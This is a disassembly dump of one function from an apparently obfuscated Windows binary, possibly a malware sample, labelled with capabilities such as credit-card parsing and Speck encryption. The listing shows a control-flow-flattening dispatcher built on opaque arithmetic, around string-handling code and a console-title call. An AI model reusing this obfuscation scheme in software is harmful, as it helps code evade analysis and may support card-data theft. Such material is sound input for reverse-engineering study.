Function at 0x140016de0
Capabilities:
Encrypt data using speck
Hash data using murmur3
Move file
Parse credit card information
Parse pe header
Set console window title

Disassembly:
push rax
pushf
mov eax, 0xa0b37273
pushf
not eax
add eax, 0xdb8a3168
xor eax, 0xeb0fd350
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xde49f879
xor eax, 0xf2e711c0
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xb413e785
xor eax, 0x8e852967
rol eax, 0x16
popf
pushf
not eax
add eax, 0xcd16f32b
xor eax, 0xfed728cf
rol eax, 0x80
popf
cmp eax, 0x29
jne 0x140016e43
popf
pop rax
jmp 0x140018676
cmp eax, 0
jne 0x140016e52
popf
pop rax
jmp 0x14001726c
cmp eax, 0x3f
jne 0x140016e61
popf
pop rax
jmp 0x140019340
cmp eax, 1
jne 0x140016e70
popf
pop rax
jmp 0x140017377
cmp eax, 0xd
jne 0x140016e7f
popf
pop rax
jmp 0x140017975
cmp eax, 0x1a
jne 0x140016e8e
popf
pop rax
jmp 0x140017fd0
cmp eax, 0x44
jne 0x140016e9d
popf
pop rax
jmp 0x14001960a
cmp eax, 0x31
jne 0x140016eac
popf
pop rax
jmp 0x140018bc4
cmp eax, 0x40
jne 0x140016ebb
popf
pop rax
jmp 0x1400193a0
cmp eax, 8
jne 0x140016eca
popf
pop rax
jmp 0x1400176eb
cmp eax, 0x2a
jne 0x140016ed9
popf
pop rax
jmp 0x140018705
cmp eax, 0x17
jne 0x140016ee8
popf
pop rax
jmp 0x140017dc7
cmp eax, 0x1c
jne 0x140016ef7
popf
pop rax
jmp 0x140018068
cmp eax, 0x2e
jne 0x140016f06
popf
pop rax
jmp 0x14001891c
cmp eax, 0x18
jne 0x140016f15
popf
pop rax
jmp 0x140017e69
cmp eax, 0x2b
jne 0x140016f24
popf
pop rax
jmp 0x140018752
cmp eax, 0x1b
jne 0x140016f33
popf
pop rax
jmp 0x140018030
cmp eax, 0x2d
jne 0x140016f42
popf
pop rax
jmp 0x140018844
cmp eax, 0x23
jne 0x140016f51
popf
pop rax
jmp 0x14001831b
cmp eax, 0x25
jne 0x140016f60
popf
pop rax
jmp 0x140018430
cmp eax, 0x43
jne 0x140016f6f
popf
pop rax
jmp 0x140019543
cmp eax, 0x13
jne 0x140016f7e
popf
pop rax
jmp 0x140017bf7
cmp eax, 0x33
jne 0x140016f8d
popf
pop rax
jmp 0x140018d3b
cmp eax, 0x24
jne 0x140016f9c
popf
pop rax
jmp 0x1400183d4
cmp eax, 0x1e
jne 0x140016fab
popf
pop rax
jmp 0x14001818c
cmp eax, 0xc
jne 0x140016fba
popf
pop rax
jmp 0x1400178cb
cmp eax, 0x26
jne 0x140016fc9
popf
pop rax
jmp 0x1400184d9
cmp eax, 0x27
jne 0x140016fd8
popf
pop rax
jmp 0x140018535
cmp eax, 0x30
jne 0x140016fe7
popf
pop rax
jmp 0x140018b32
cmp eax, 0x10
jne 0x140016ff6
popf
pop rax
jmp 0x140017aba
cmp eax, 0x37
jne 0x140017005
popf
pop rax
jmp 0x140018ef5
cmp eax, 9
jne 0x140017014
popf
pop rax
jmp 0x140017725
cmp eax, 0x39
jne 0x140017023
popf
pop rax
jmp 0x14001902e
cmp eax, 0x16
jne 0x140017032
popf
pop rax
jmp 0x140017d91
cmp eax, 0x3b
jne 0x140017041
popf
pop rax
jmp 0x140019143
cmp eax, 0xa
jne 0x140017050
popf
pop rax
jmp 0x1400177bd
cmp eax, 0x36
jne 0x14001705f
popf
pop rax
jmp 0x140018e60
cmp eax, 0x14
jne 0x14001706e
popf
pop rax
jmp 0x140017c42
cmp eax, 0x46
jne 0x14001707d
popf
pop rax
jmp 0x14001969e
cmp eax, 0x3d
jne 0x14001708c
popf
pop rax
jmp 0x140019225
cmp eax, 2
jne 0x14001709b
popf
pop rax
jmp 0x1400173ad
cmp eax, 0x47
jne 0x1400170aa
popf
pop rax
jmp 0x140019718
cmp eax, 0x41
jne 0x1400170b9
popf
pop rax
jmp 0x1400193d8
cmp eax, 0x11
jne 0x1400170c8
popf
pop rax
jmp 0x140017b6f
cmp eax, 0x35
jne 0x1400170d7
popf
pop rax
jmp 0x140018e12
cmp eax, 0x3a
jne 0x1400170e6
popf
pop rax
jmp 0x1400190f6
cmp eax, 0x12
jne 0x1400170f5
popf
pop rax
jmp 0x140017bbc
cmp eax, 0x21
jne 0x140017104
popf
pop rax
jmp 0x14001826b
cmp eax, 0x38
jne 0x140017113
popf
pop rax
jmp 0x140018f8f
cmp eax, 0xb
jne 0x140017122
popf
pop rax
jmp 0x14001781b
cmp eax, 0xf
jne 0x140017131
popf
pop rax
jmp 0x140017a41
cmp eax, 0x15
jne 0x140017140
popf
pop rax
jmp 0x140017cd7
cmp eax, 5
jne 0x14001714f
popf
pop rax
jmp 0x140017557
cmp eax, 6
jne 0x14001715e
popf
pop rax
jmp 0x1400175b3
cmp eax, 0x22
jne 0x14001716d
popf
pop rax
jmp 0x1400182d7
cmp eax, 0x3c
jne 0x14001717c
popf
pop rax
jmp 0x14001918f
cmp eax, 0x1f
jne 0x14001718b
popf
pop rax
jmp 0x1400181d5
cmp eax, 4
jne 0x14001719a
popf
pop rax
jmp 0x1400174aa
cmp eax, 0x2f
jne 0x1400171a9
popf
pop rax
jmp 0x1400189b2
cmp eax, 0x28
jne 0x1400171b8
popf
pop rax
jmp 0x1400185d7
cmp eax, 0x3e
jne 0x1400171c7
popf
pop rax
jmp 0x1400192b1
cmp eax, 0x45
jne 0x1400171d6
popf
pop rax
jmp 0x140019666
cmp eax, 0x2c
jne 0x1400171e5
popf
pop rax
jmp 0x14001879d
cmp eax, 3
jne 0x1400171f4
popf
pop rax
jmp 0x1400173ee
cmp eax, 0x19
jne 0x140017203
popf
pop rax
jmp 0x140017f08
cmp eax, 0x1d
jne 0x140017212
popf
pop rax
jmp 0x140018143
cmp eax, 0x34
jne 0x140017221
popf
pop rax
jmp 0x140018dc9
cmp eax, 0x32
jne 0x140017230
popf
pop rax
jmp 0x140018c19
cmp eax, 0xe
jne 0x14001723f
popf
pop rax
jmp 0x1400179ab
cmp eax, 0x42
jne 0x14001724e
popf
pop rax
jmp 0x140019495
cmp eax, 7
jne 0x14001725d
popf
pop rax
jmp 0x140017657
cmp eax, 0x20
jne 0x14001726c
popf
pop rax
jmp 0x140018258
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14000b040]
xor rax, rsp
mov qword [rbp + 0x17], rax
mov r14, rcx
mov qword [rbp - 0x11], rcx
mov eax, dword [0x140008634]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140008638]
mov byte [rsp + 0x30], 0x2e
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor al, 0x37
mov byte [rsp + 0x34], al
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x79]
call fcn.1400275c5
mov r15, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140017344
push rax
pushf
mov eax, 0x8082e92d
pushf
not eax
add eax, 0xba8cd967
xor eax, 0xbf506056
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x87316f22
xor eax, 0xcf318a9b
rol eax, 0x61
popf
pushf
not eax
add eax, 0xeea03fa2
xor eax, 0xde2ddd9c
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd692080d
xor eax, 0xa6c4073d
rol eax, 0x47
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x13d76834
pushf
not eax
add eax, 0xacd8876f
xor eax, 0xf508e677
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9e271dfc
xor eax, 0x818067f7
rol eax, 0xa4
popf
jmp 0x140016e34
mov r15, qword [rax]
push rax
pushf
mov eax, 0xc749c386
pushf
not eax
add eax, 0xc8327464
xor eax, 0xc69de450
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xb2c16c8a
xor eax, 0xdd6d3570
rol eax, 0x90
popf
jmp 0x140016e34
mov rsi, 0xffffffffffffffff
mov rdi, rsi
nop dword [rax]
push rax
pushf
mov eax, 0x7fd0158f
pushf
not eax
add eax, 0xec7ae9b6
xor eax, 0xfbc7c9c1
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xa9affe79
xor eax, 0xd7d1850e
rol eax, 0x3e
popf
jmp 0x140016e34
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140017451
push rax
pushf
mov eax, 0x3d7214d1
pushf
not eax
add eax, 0xa2f32ea6
xor eax, 0xc5306cd4
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xc21b5562
xor eax, 0xdb50076a
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9ac2441c
xor eax, 0xd6c379c3
rol eax, 3
popf
pushf
not eax
add eax, 0xcb7bfd17
xor eax, 0xe5e041b7
rol eax, 0x48
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xf679884e
pushf
not eax
add eax, 0xaa936746
xor eax, 0xa92cae66
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xecd31207
xor eax, 0xfa459918
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x91c4c337
xor eax, 0xf1629cd6
rol eax, 0x21
popf
pushf
not eax
add eax, 0xb07b2549
xor eax, 0xc0b03628
rol eax, 0xd1
popf
jmp 0x140016e34
mov rax, qword [r14 + 0x10]
mov r12, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140017511
push rax
pushf
mov eax, 0x987bfc4b
pushf
not eax
add eax, 0xd76eb64f
xor eax, 0xaa9fc9e5
rol eax, 4
popf
pushf
not eax
add eax, 0x87260c7d
xor eax, 0x93975afa
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc851c1d2
xor eax, 0x9a251898
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xa5abbc4c
xor eax, 0xa9179b72
rol eax, 0x36
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x2f71e37e
pushf
not eax
add eax, 0xb821e3ff
xor eax, 0xd7b11e44
rol eax, 0xf7
popf
pushf
not eax
add eax, 0xd26a3850
xor eax, 0x9088b2ae
rol eax, 0x40
popf
pushf
not eax
add eax, 0xa09886d9
xor eax, 0xb9e6816a
rol eax, 0xe8
popf
jmp 0x140016e34
mov r12, qword [r14]
push rax
pushf
mov eax, 0x6e993638
pushf
not eax
add eax, 0xef8f9a32
xor eax, 0xb85a11c9
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xa41636c4
xor eax, 0xc25b95f3
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xa8c5e162
xor eax, 0xcf6f5439
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x94df7eaf
xor eax, 0xff485700
rol eax, 0x5a
popf
jmp 0x140016e34
cmp rdi, rax
ja 0x1400175fe
push rax
pushf
mov eax, 0x6d336f00
pushf
not eax
add eax, 0xf5ff1184
xor eax, 0xa1407e82
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xf15af0ba
xor eax, 0xc086fb90
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x9f555897
xor eax, 0x9a570e21
rol eax, 0x5f
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x3488eb6
pushf
not eax
add eax, 0xa6dae4d0
xor eax, 0xd22926e0
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x86db5305
xor eax, 0xced12ae4
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xeafcac14
xor eax, 0xe89cfb53
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xb181b056
xor eax, 0xb936bfa8
rol eax, 0x6e
popf
jmp 0x140016e34
sub rax, rdi
test rdi, rdi
jne 0x1400176b8
push rax
pushf
mov eax, 0x5a928de5
pushf
not eax
add eax, 0x8abb323a
xor eax, 0xfba150c2
rol eax, 0x75
popf
pushf
not eax
add eax, 0xaa5dd8b6
xor eax, 0x94fcb18e
rol eax, 0x74
popf
pushf
not eax
add eax, 0xaebc61bb
xor eax, 0xfbfc8753
rol eax, 0x63
popf
pushf
not eax
add eax, 0xfeb3804a
xor eax, 0xd7ee1653
rol eax, 0x3a
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xd894d8bb
pushf
not eax
add eax, 0xb7b6ce05
xor eax, 0xd310bc29
rol eax, 0x88
popf
pushf
not eax
add eax, 0xe688aaa2
xor eax, 0xb53bca95
rol eax, 0xb1
popf
jmp 0x140016e34
xor ebx, ebx
jmp 0x1400179ab
lea r13, [rax + r12]
movsx edx, byte [r15]
lea r8, [r13 + 1]
sub r8, r12
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140017777
push rax
pushf
mov eax, 0xb1a0c6f3
pushf
not eax
add eax, 0x8e641089
xor eax, 0xf81287a0
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xe802e36f
xor eax, 0xcd72fa87
rol eax, 0x72
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x6f545eaf
pushf
not eax
add eax, 0x9e58df48
xor eax, 0xc02a8f19
rol eax, 0x19
popf
pushf
not eax
add eax, 0xf84cb7bc
xor eax, 0x98662b23
rol eax, 0x29
popf
pushf
not eax
add eax, 0xe64b0598
xor eax, 0xd55d86bf
rol eax, 0x4e
popf
jmp 0x140016e34
nop dword [rax + rax]
push rax
pushf
mov eax, 0xee5beee
pushf
not eax
add eax, 0xa26f9828
xor eax, 0xa7f163aa
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa78c101d
xor eax, 0x8fccde50
rol eax, 0x12
popf
pushf
not eax
add eax, 0xb93f2838
xor eax, 0xbdf921b9
rol eax, 6
popf
pushf
not eax
add eax, 0xe7d631a2
xor eax, 0x908557de
rol eax, 0xa1
popf
jmp 0x140016e34
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140017873
push rax
pushf
mov eax, 0x71d2ebe4
pushf
not eax
add eax, 0xec12d021
xor eax, 0xec619c03
rol eax, 0x23
popf
pushf
not eax
add eax, 0xb92aedc4
xor eax, 0xd67d7c4d
rol eax, 0x35
popf
pushf
not eax
add eax, 0x865e0e49
xor eax, 0x950804fe
rol eax, 0xf0
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x656aac3f
pushf
not eax
add eax, 0xe1f0365f
xor eax, 0x93cab77c
rol eax, 0xce
popf
pushf
not eax
add eax, 0xa859cca3
xor eax, 0xb4e39c56
rol eax, 1
popf
pushf
not eax
add eax, 0xbdb88f35
xor eax, 0xb755a238
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc9788cc4
xor eax, 0xb46bb71a
rol eax, 0x33
popf
jmp 0x140016e34
inc rbx
lea r8, [r13 + 1]
sub r8, rbx
movsx edx, byte [r15]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x14001791c
push rax
pushf
mov eax, 0x7cc7799b
pushf
not eax
add eax, 0xbd2f2ba5
xor eax, 0xca582d89
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xceed5912
xor eax, 0xcaaf5c15
rol eax, 0xee
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x3ade7491
pushf
not eax
add eax, 0x9f654eb8
xor eax, 0xf1456308
rol eax, 0x47
popf
pushf
not eax
add eax, 0xe952e05c
xor eax, 0xf6338014
rol eax, 0xed
popf
pushf
not eax
add eax, 0xf948b484
xor eax, 0xee793fd8
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xf1759639
xor eax, 0xc210d1e1
rol eax, 0xb9
popf
jmp 0x140016e34
mov rbx, rsi
push rax
pushf
mov eax, 0x9da850e6
pushf
not eax
add eax, 0xf7c764dd
xor eax, 0xa8582596
rol eax, 0x24
popf
pushf
not eax
add eax, 0xa8d8655d
xor eax, 0x8463ff4d
rol eax, 0x31
popf
jmp 0x140016e34
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x1400179e8
push rax
pushf
mov eax, 0xa862191f
pushf
not eax
add eax, 0xfb855069
xor eax, 0x841f8fd2
rol eax, 0x50
popf
pushf
not eax
add eax, 0xda594199
xor eax, 0xc1bd6a5d
rol eax, 0x43
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xbc49ad0c
pushf
not eax
add eax, 0xa6a922a5
xor eax, 0x937772f5
rol eax, 0x37
popf
pushf
not eax
add eax, 0x84970446
xor eax, 0xc63b44e8
rol eax, 0xe
popf
pushf
not eax
add eax, 0x8145101a
xor eax, 0xb1888749
rol eax, 0x42
popf
pushf
not eax
add eax, 0xda85059e
xor eax, 0xc43cdbd3
rol eax, 0x3f
popf
jmp 0x140016e34
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017a87
push rax
pushf
mov eax, 0x1b5fe1c5
pushf
not eax
add eax, 0x8767247f
xor eax, 0xafbf120d
rol eax, 0x68
popf
pushf
not eax
add eax, 0x88da3815
xor eax, 0xd0898350
rol eax, 0x44
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x3b3729f4
pushf
not eax
add eax, 0x86c00ea5
xor eax, 0x8c2b0b2b
rol eax, 0x47
popf
pushf
not eax
add eax, 0x8276400c
xor eax, 0xb07e7264
rol eax, 0xbe
popf
jmp 0x140016e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017b15
push rax
pushf
mov eax, 0x17291eb4
pushf
not eax
add eax, 0x834915ab
xor eax, 0xe132c80b
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xffa501e0
xor eax, 0xa46b635b
rol eax, 0xde
popf
pushf
not eax
add eax, 0x9413a488
xor eax, 0xd0063c3e
rol eax, 0x93
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xd13d83a1
pushf
not eax
add eax, 0x92a870fd
xor eax, 0x8d379a34
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc35c3ed8
xor eax, 0xcf62771b
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xb1c6d874
xor eax, 0xb4ca68bb
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xcd51b083
xor eax, 0x9f6fdcdd
rol eax, 0xdd
popf
jmp 0x140016e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rbx, r12
jmp 0x1400179ab
call fcn.140022c1a
push rax
pushf
mov eax, 0x98ab4da8
pushf
not eax
add eax, 0x8899eafe
xor eax, 0xf1283e9c
rol eax, 0x28
popf
pushf
not eax
add eax, 0x8ff63915
xor eax, 0xc7097331
rol eax, 0x95
popf
pushf
not eax
add eax, 0x9336c87b
xor eax, 0xf054fd17
rol eax, 0x29
popf
jmp 0x140016e34
cmp rbx, rsi
jne 0x140017c7e
push rax
pushf
mov eax, 0x7c94259d
pushf
not eax
add eax, 0x84d92a52
xor eax, 0xae92aa8d
rol eax, 3
popf
pushf
not eax
add eax, 0xf95d3c14
xor eax, 0xc29fcf06
rol eax, 0xba
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xec2a28d7
pushf
not eax
add eax, 0xe14bea1c
xor eax, 0xe7a4fe91
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb193b271
xor eax, 0xc70945bc
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xa368a3a3
xor eax, 0x8b8c43c0
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xa96e0ebf
xor eax, 0xb6c89753
rol eax, 0xae
popf
jmp 0x140016e34
mov eax, dword [0x140008634]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140008638]
mov byte [rsp + 0x30], 0x2e
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor al, 0x37
mov byte [rsp + 0x34], al
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x79]
call fcn.1400275c5
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140017d5e
push rax
pushf
mov eax, 0xcf404914
pushf
not eax
add eax, 0xae2fb16a
xor eax, 0xdf134280
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc7216ee5
xor eax, 0xe01fe20a
rol eax, 0xa
popf
pushf
not eax
add eax, 0xb476fc22
xor eax, 0xb3abe52f
rol eax, 0xca
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xcd34ae0f
pushf
not eax
add eax, 0xb79872d5
xor eax, 0x8c1813a5
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xd61f0871
xor eax, 0xe6c18437
rol eax, 0x9b
popf
jmp 0x140016e34
mov rax, qword [rax]
push rax
pushf
mov eax, 0x84cee451
pushf
not eax
add eax, 0xa9781c8f
xor eax, 0x814ec256
rol eax, 0x47
popf
pushf
not eax
add eax, 0xd677d93a
xor eax, 0xe27aa370
rol eax, 0x80
popf
jmp 0x140016e34
mov rdx, rax
mov rcx, r14
call fcn.140032231
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x140017e10
push rax
pushf
mov eax, 0x2b56a00e
pushf
not eax
add eax, 0xb462babf
xor eax, 0xe0f50a9c
rol eax, 0x29
popf
pushf
not eax
add eax, 0xed7d1fdb
xor eax, 0xfb9cc707
rol eax, 0xd
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xe57fd19f
pushf
not eax
add eax, 0xa1bc748b
xor eax, 0xf22f32af
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xc69e2927
xor eax, 0xd69e437b
rol eax, 0x47
popf
pushf
not eax
add eax, 0xdafc8b7f
xor eax, 0xf248b97d
rol eax, 0x32
popf
pushf
not eax
add eax, 0xffd8c57c
xor eax, 0xb0b66ea3
rol eax, 5
popf
jmp 0x140016e34
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017eaf
push rax
pushf
mov eax, 0xb4614e89
pushf
not eax
add eax, 0xc0b1d55c
xor eax, 0xfe692aac
rol eax, 0x42
popf
pushf
not eax
add eax, 0xc791f777
xor eax, 0xfeab451f
rol eax, 0x1e
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xb03c1685
pushf
not eax
add eax, 0x924cd9dd
xor eax, 0x916ccdfe
rol eax, 0x37
popf
pushf
not eax
add eax, 0xe2fb42a0
xor eax, 0xbeffa80a
rol eax, 0x79
popf
pushf
not eax
add eax, 0xf0dcb796
xor eax, 0x9ad8a23e
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xdbb02089
xor eax, 0x86073a4e
rol eax, 0x22
popf
jmp 0x140016e34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017f76
push rax
pushf
mov eax, 0xbc01d436
pushf
not eax
add eax, 0xb941abb5
xor eax, 0xa2b2c88c
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x885bead1
xor eax, 0x9101e585
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x8e8280da
xor eax, 0xec30f0c0
rol eax, 0x21
popf
pushf
not eax
add eax, 0xe85386ff
xor eax, 0xae1c7b78
rol eax, 0xb8
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x8db3fb4f
pushf
not eax
add eax, 0xe71fea4b
xor eax, 0x8334f08d
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x9e1eb361
xor eax, 0xd0d9f08f
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xce85fcfd
xor eax, 0x87e6049f
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xd55a3d7b
xor eax, 0xa491d710
rol eax, 0x4d
popf
jmp 0x140016e34
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140022c1a
push rax
pushf
mov eax, 0xfdfe93f9
pushf
not eax
add eax, 0xde39566f
xor eax, 0x8365f635
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc358c937
xor eax, 0xa327059c
rol eax, 0xf8
popf
jmp 0x140016e34
lea rcx, [rbp - 9]
call fcn.14002b7f4
nop
lea rcx, [rbp - 9]
cmp qword [rbp + 0xf], 0xf
cmova rcx, qword [rbp - 9]
jmp 0x140018081
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x140008634]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140008638]
mov byte [rsp + 0x30], 0x2e
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor al, 0x37
mov byte [rsp + 0x34], al
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x79]
call fcn.1400275c5
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400180fd
push rax
pushf
mov eax, 0xb8ffc57d
pushf
not eax
add eax, 0xe7ab70f7
xor eax, 0xf6fcb509
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xd02a819f
xor eax, 0x9348cdf0
rol eax, 0x98
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x424e9c8d
pushf
not eax
add eax, 0x82822aa5
xor eax, 0xce6b1481
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xd48c9a75
xor eax, 0xc40c38dc
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xb10a42c0
xor eax, 0xf0d48d28
rol eax, 0x18
popf
jmp 0x140016e34
mov r9, qword [rax]
push rax
pushf
mov eax, 0xf4224fc8
pushf
not eax
add eax, 0xb9ceae6f
xor eax, 0x8bcc8962
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xfa263987
xor eax, 0xa314a15c
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf1f9b472
xor eax, 0x8be16c2d
rol eax, 0xf9
popf
jmp 0x140016e34
mov rdi, rsi
push rax
pushf
mov eax, 0x48813155
pushf
not eax
add eax, 0xa1a2a364
xor eax, 0xbadde789
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd866064e
xor eax, 0x9af4307a
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb1987151
xor eax, 0xa211877c
rol eax, 0xca
popf
jmp 0x140016e34
inc rdi
cmp byte [r9 + rdi], 0
jne 0x140018212
push rax
pushf
mov eax, 0x207d5dd6
pushf
not eax
add eax, 0xaca3f008
xor eax, 0xc51850e9
rol eax, 0x73
popf
pushf
not eax
add eax, 0xdc79acbe
xor eax, 0xc59762c7
rol eax, 0x10
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0xd2e1401
pushf
not eax
add eax, 0x90e0a804
xor eax, 0x9455ace7
rol eax, 0x45
popf
pushf
not eax
add eax, 0x8fcf945b
xor eax, 0xfceade67
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xdaf4004e
xor eax, 0xff73add6
rol eax, 0xd5
popf
jmp 0x140016e34
mov rcx, qword [rbp + 7]
mov rdx, qword [rbp + 0xf]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400182d7
lea rax, [rdi + rcx]
mov qword [rbp + 7], rax
lea rbx, [rbp - 9]
cmp rdx, 0xf
cmova rbx, qword [rbp - 9]
push rcx
not rcx
sub rbx, rcx
pop rcx
sub rbx, 1
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rbp - 9]
jmp 0x14001831b
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 9]
call fcn.14002448a
push rax
pushf
mov eax, 0xb7331ee2
pushf
not eax
add eax, 0xd03c5572
xor eax, 0xdeffb73b
rol eax, 0xac
popf
pushf
not eax
add eax, 0xf1848ce8
xor eax, 0x89685868
rol eax, 0x55
popf
jmp 0x140016e34
cmp qword [rax + 0x18], 0xf
jbe 0x14001837b
push rax
pushf
mov eax, 0x20588522
pushf
not eax
add eax, 0xc8867d29
xor eax, 0xa67f31cc
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xc777d17f
xor eax, 0xb75a88c6
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xa0943145
xor eax, 0xea83f62d
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xdbcdab1b
xor eax, 0xb44b03b2
rol eax, 0xc9
popf
jmp 0x140016e34
push rax
pushf
mov eax, 0x84c7ffb6
pushf
not eax
add eax, 0x83fa92cc
xor eax, 0xd7470163
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xe9c648de
xor eax, 0x9133f5a6
rol eax, 0x35
popf
pushf
not eax
add eax, 0x98fbb0e7
xor eax, 0x9b18cba0
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xf43df5fc
xor eax, 0xfee5691b
rol eax, 0x47
popf
jmp 0x140016e34
mov rax, qword [rax]
push rax
pushf
mov eax, 0xae4b0a70
pushf
not eax
add eax, 0x873ece94
xor eax, 0xf188faa1
rol eax, 0
popf
pushf
not eax
add eax, 0xff8c5404
xor eax, 0xc3276dcf
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xc77b805a
xor eax, 0xe236d187
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf1787348
xor eax, 0xc1367d91
rol eax, 0x40
popf
jmp 0x140016e34
mov rcx, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140018480
push rax
pushf
mov eax, 0x7d774999
pushf
not eax
add eax, 0xb093e93c
xor eax, 0xd0426367
rol eax, 0x84
popf
pushf
not eax
add eax, 0xeb53ec1e
xor eax, 0xe1d2c85e
rol eax, 7
popf
pushf
not eax
add eax, 0x8fabcbd7
xor eax, 0xb43fdb25
